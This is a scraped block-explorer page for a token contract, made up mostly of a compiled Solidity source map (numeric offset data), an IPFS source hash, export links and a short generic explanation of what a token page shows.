;:::-;3829:3;3822:34;3753:109;;:::o;3868:210::-;3955:4;3993:2;3982:9;3978:18;3970:26;;4006:65;4068:1;4057:9;4053:17;4044:6;4006:65;:::i;:::-;3868:210;;;;:::o;4084:118::-;4171:24;4189:5;4171:24;:::i;:::-;4166:3;4159:37;4084:118;;:::o;4208:222::-;4301:4;4339:2;4328:9;4324:18;4316:26;;4352:71;4420:1;4409:9;4405:17;4396:6;4352:71;:::i;:::-;4208:222;;;;:::o;4436:619::-;4513:6;4521;4529;4578:2;4566:9;4557:7;4553:23;4549:32;4546:119;;;4584:79;;:::i;:::-;4546:119;4704:1;4729:53;4774:7;4765:6;4754:9;4750:22;4729:53;:::i;:::-;4719:63;;4675:117;4831:2;4857:53;4902:7;4893:6;4882:9;4878:22;4857:53;:::i;:::-;4847:63;;4802:118;4959:2;4985:53;5030:7;5021:6;5010:9;5006:22;4985:53;:::i;:::-;4975:63;;4930:118;4436:619;;;;;:::o;5061:329::-;5120:6;5169:2;5157:9;5148:7;5144:23;5140:32;5137:119;;;5175:79;;:::i;:::-;5137:119;5295:1;5320:53;5365:7;5356:6;5345:9;5341:22;5320:53;:::i;:::-;5310:63;;5266:117;5061:329;;;;:::o;5396:86::-;5431:7;5471:4;5464:5;5460:16;5449:27;;5396:86;;;:::o;5488:112::-;5571:22;5587:5;5571:22;:::i;:::-;5566:3;5559:35;5488:112;;:::o;5606:214::-;5695:4;5733:2;5722:9;5718:18;5710:26;;5746:67;5810:1;5799:9;5795:17;5786:6;5746:67;:::i;:::-;5606:214;;;;:::o;5826:118::-;5913:24;5931:5;5913:24;:::i;:::-;5908:3;5901:37;5826:118;;:::o;5950:222::-;6043:4;6081:2;6070:9;6066:18;6058:26;;6094:71;6162:1;6151:9;6147:17;6138:6;6094:71;:::i;:::-;5950:222;;;;:::o;6178:117::-;6287:1;6284;6277:12;6301:117;6410:1;6407;6400:12;6424:117;6533:1;6530;6523:12;6564:568;6637:8;6647:6;6697:3;6690:4;6682:6;6678:17;6674:27;6664:122;;6705:79;;:::i;:::-;6664:122;6818:6;6805:20;6795:30;;6848:18;6840:6;6837:30;6834:117;;;6870:79;;:::i;:::-;6834:117;6984:4;6976:6;6972:17;6960:29;;7038:3;7030:4;7022:6;7018:17;7008:8;7004:32;7001:41;6998:128;;;7045:79;;:::i;:::-;6998:128;6564:568;;;;;:::o;7138:698::-;7230:6;7238;7246;7295:2;7283:9;7274:7;7270:23;7266:32;7263:119;;;7301:79;;:::i;:::-;7263:119;7449:1;7438:9;7434:17;7421:31;7479:18;7471:6;7468:30;7465:117;;;7501:79;;:::i;:::-;7465:117;7614:80;7686:7;7677:6;7666:9;7662:22;7614:80;:::i;:::-;7596:98;;;;7392:312;7743:2;7769:50;7811:7;7802:6;7791:9;7787:22;7769:50;:::i;:::-;7759:60;;7714:115;7138:698;;;;;:::o;7842:474::-;7910:6;7918;7967:2;7955:9;7946:7;7942:23;7938:32;7935:119;;;7973:79;;:::i;:::-;7935:119;8093:1;8118:53;8163:7;8154:6;8143:9;8139:22;8118:53;:::i;:::-;8108:63;;8064:117;8220:2;8246:53;8291:7;8282:6;8271:9;8267:22;8246:53;:::i;:::-;8236:63;;8191:118;7842:474;;;;;:::o;8322:60::-;8350:3;8371:5;8364:12;;8322:60;;;:::o;8388:142::-;8438:9;8471:53;8489:34;8498:24;8516:5;8498:24;:::i;:::-;8489:34;:::i;:::-;8471:53;:::i;:::-;8458:66;;8388:142;;;:::o;8536:126::-;8586:9;8619:37;8650:5;8619:37;:::i;:::-;8606:50;;8536:126;;;:::o;8668:144::-;8736:9;8769:37;8800:5;8769:37;:::i;:::-;8756:50;;8668:144;;;:::o;8818:167::-;8923:55;8972:5;8923:55;:::i;:::-;8918:3;8911:68;8818:167;;:::o;8991:258::-;9102:4;9140:2;9129:9;9125:18;9117:26;;9153:89;9239:1;9228:9;9224:17;9215:6;9153:89;:::i;:::-;8991:258;;;;:::o;9255:156::-;9395:8;9391:1;9383:6;9379:14;9372:32;9255:156;:::o;9417:365::-;9559:3;9580:66;9644:1;9639:3;9580:66;:::i;:::-;9573:73;;9655:93;9744:3;9655:93;:::i;:::-;9773:2;9768:3;9764:12;9757:19;;9417:365;;;:::o;9788:419::-;9954:4;9992:2;9981:9;9977:18;9969:26;;10041:9;10035:4;10031:20;10027:1;10016:9;10012:17;10005:47;10069:131;10195:4;10069:131;:::i;:::-;10061:139;;9788:419;;;:::o;10213:180::-;10261:77;10258:1;10251:88;10358:4;10355:1;10348:15;10382:4;10379:1;10372:15;10399:102;10441:8;10488:5;10485:1;10481:13;10460:34;;10399:102;;;:::o;10507:848::-;10568:5;10575:4;10599:6;10590:15;;10623:5;10614:14;;10637:712;10658:1;10648:8;10645:15;10637:712;;;10753:4;10748:3;10744:14;10738:4;10735:24;10732:50;;;10762:18;;:::i;:::-;10732:50;10812:1;10802:8;10798:16;10795:451;;;11227:4;11220:5;11216:16;11207:25;;10795:451;11277:4;11271;11267:15;11259:23;;11307:32;11330:8;11307:32;:::i;:::-;11295:44;;10637:712;;;10507:848;;;;;;;:::o;11361:1073::-;11415:5;11606:8;11596:40;;11627:1;11618:10;;11629:5;;11596:40;11655:4;11645:36;;11672:1;11663:10;;11674:5;;11645:36;11741:4;11789:1;11784:27;;;;11825:1;11820:191;;;;11734:277;;11784:27;11802:1;11793:10;;11804:5;;;11820:191;11865:3;11855:8;11852:17;11849:43;;;11872:18;;:::i;:::-;11849:43;11921:8;11918:1;11914:16;11905:25;;11956:3;11949:5;11946:14;11943:40;;;11963:18;;:::i;:::-;11943:40;11996:5;;;11734:277;;12120:2;12110:8;12107:16;12101:3;12095:4;12092:13;12088:36;12070:2;12060:8;12057:16;12052:2;12046:4;12043:12;12039:35;12023:111;12020:246;;;12176:8;12170:4;12166:19;12157:28;;12211:3;12204:5;12201:14;12198:40;;;12218:18;;:::i;:::-;12198:40;12251:5;;12020:246;12291:42;12329:3;12319:8;12313:4;12310:1;12291:42;:::i;:::-;12276:57;;;;12365:4;12360:3;12356:14;12349:5;12346:25;12343:51;;;12374:18;;:::i;:::-;12343:51;12423:4;12416:5;12412:16;12403:25;;11361:1073;;;;;;:::o;12440:281::-;12498:5;12522:23;12540:4;12522:23;:::i;:::-;12514:31;;12566:25;12582:8;12566:25;:::i;:::-;12554:37;;12610:104;12647:66;12637:8;12631:4;12610:104;:::i;:::-;12601:113;;12440:281;;;;:::o;12727:348::-;12767:7;12790:20;12808:1;12790:20;:::i;:::-;12785:25;;12824:20;12842:1;12824:20;:::i;:::-;12819:25;;13012:1;12944:66;12940:74;12937:1;12934:81;12929:1;12922:9;12915:17;12911:105;12908:131;;;13019:18;;:::i;:::-;12908:131;13067:1;13064;13060:9;13049:20;;12727:348;;;;:::o;13081:180::-;13129:77;13126:1;13119:88;13226:4;13223:1;13216:15;13250:4;13247:1;13240:15;13267:233;13306:3;13329:24;13347:5;13329:24;:::i;:::-;13320:33;;13375:66;13368:5;13365:77;13362:103;;13445:18;;:::i;:::-;13362:103;13492:1;13485:5;13481:13;13474:20;;13267:233;;;:::o;13506:191::-;13546:4;13566:20;13584:1;13566:20;:::i;:::-;13561:25;;13600:20;13618:1;13600:20;:::i;:::-;13595:25;;13639:1;13636;13633:8;13630:34;;;13644:18;;:::i;:::-;13630:34;13689:1;13686;13682:9;13674:17;;13506:191;;;;:::o;13703:222::-;13843:34;13839:1;13831:6;13827:14;13820:58;13912:5;13907:2;13899:6;13895:15;13888:30;13703:222;:::o;13931:366::-;14073:3;14094:67;14158:2;14153:3;14094:67;:::i;:::-;14087:74;;14170:93;14259:3;14170:93;:::i;:::-;14288:2;14283:3;14279:12;14272:19;;13931:366;;;:::o;14303:419::-;14469:4;14507:2;14496:9;14492:18;14484:26;;14556:9;14550:4;14546:20;14542:1;14531:9;14527:17;14520:47;14584:131;14710:4;14584:131;:::i;:::-;14576:139;;14303:419;;;:::o;14728:161::-;14868:13;14864:1;14856:6;14852:14;14845:37;14728:161;:::o;14895:366::-;15037:3;15058:67;15122:2;15117:3;15058:67;:::i;:::-;15051:74;;15134:93;15223:3;15134:93;:::i;:::-;15252:2;15247:3;15243:12;15236:19;;14895:366;;;:::o;15267:419::-;15433:4;15471:2;15460:9;15456:18;15448:26;;15520:9;15514:4;15510:20;15506:1;15495:9;15491:17;15484:47;15548:131;15674:4;15548:131;:::i;:::-;15540:139;;15267:419;;;:::o;15692:305::-;15732:3;15751:20;15769:1;15751:20;:::i;:::-;15746:25;;15785:20;15803:1;15785:20;:::i;:::-;15780:25;;15939:1;15871:66;15867:74;15864:1;15861:81;15858:107;;;15945:18;;:::i;:::-;15858:107;15989:1;15986;15982:9;15975:16;;15692:305;;;;:::o;16003:174::-;16143:26;16139:1;16131:6;16127:14;16120:50;16003:174;:::o;16183:366::-;16325:3;16346:67;16410:2;16405:3;16346:67;:::i;:::-;16339:74;;16422:93;16511:3;16422:93;:::i;:::-;16540:2;16535:3;16531:12;16524:19;;16183:366;;;:::o;16555:419::-;16721:4;16759:2;16748:9;16744:18;16736:26;;16808:9;16802:4;16798:20;16794:1;16783:9;16779:17;16772:47;16836:131;16962:4;16836:131;:::i;:::-;16828:139;;16555:419;;;:::o;16980:167::-;17120:19;17116:1;17108:6;17104:14;17097:43;16980:167;:::o;17153:366::-;17295:3;17316:67;17380:2;17375:3;17316:67;:::i;:::-;17309:74;;17392:93;17481:3;17392:93;:::i;:::-;17510:2;17505:3;17501:12;17494:19;;17153:366;;;:::o;17525:419::-;17691:4;17729:2;17718:9;17714:18;17706:26;;17778:9;17772:4;17768:20;17764:1;17753:9;17749:17;17742:47;17806:131;17932:4;17806:131;:::i;:::-;17798:139;;17525:419;;;:::o

Swarm Source

ipfs://e70287b044ae3610785a60db6fab9a03e357821e00b6af4587ec571cc665843a
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.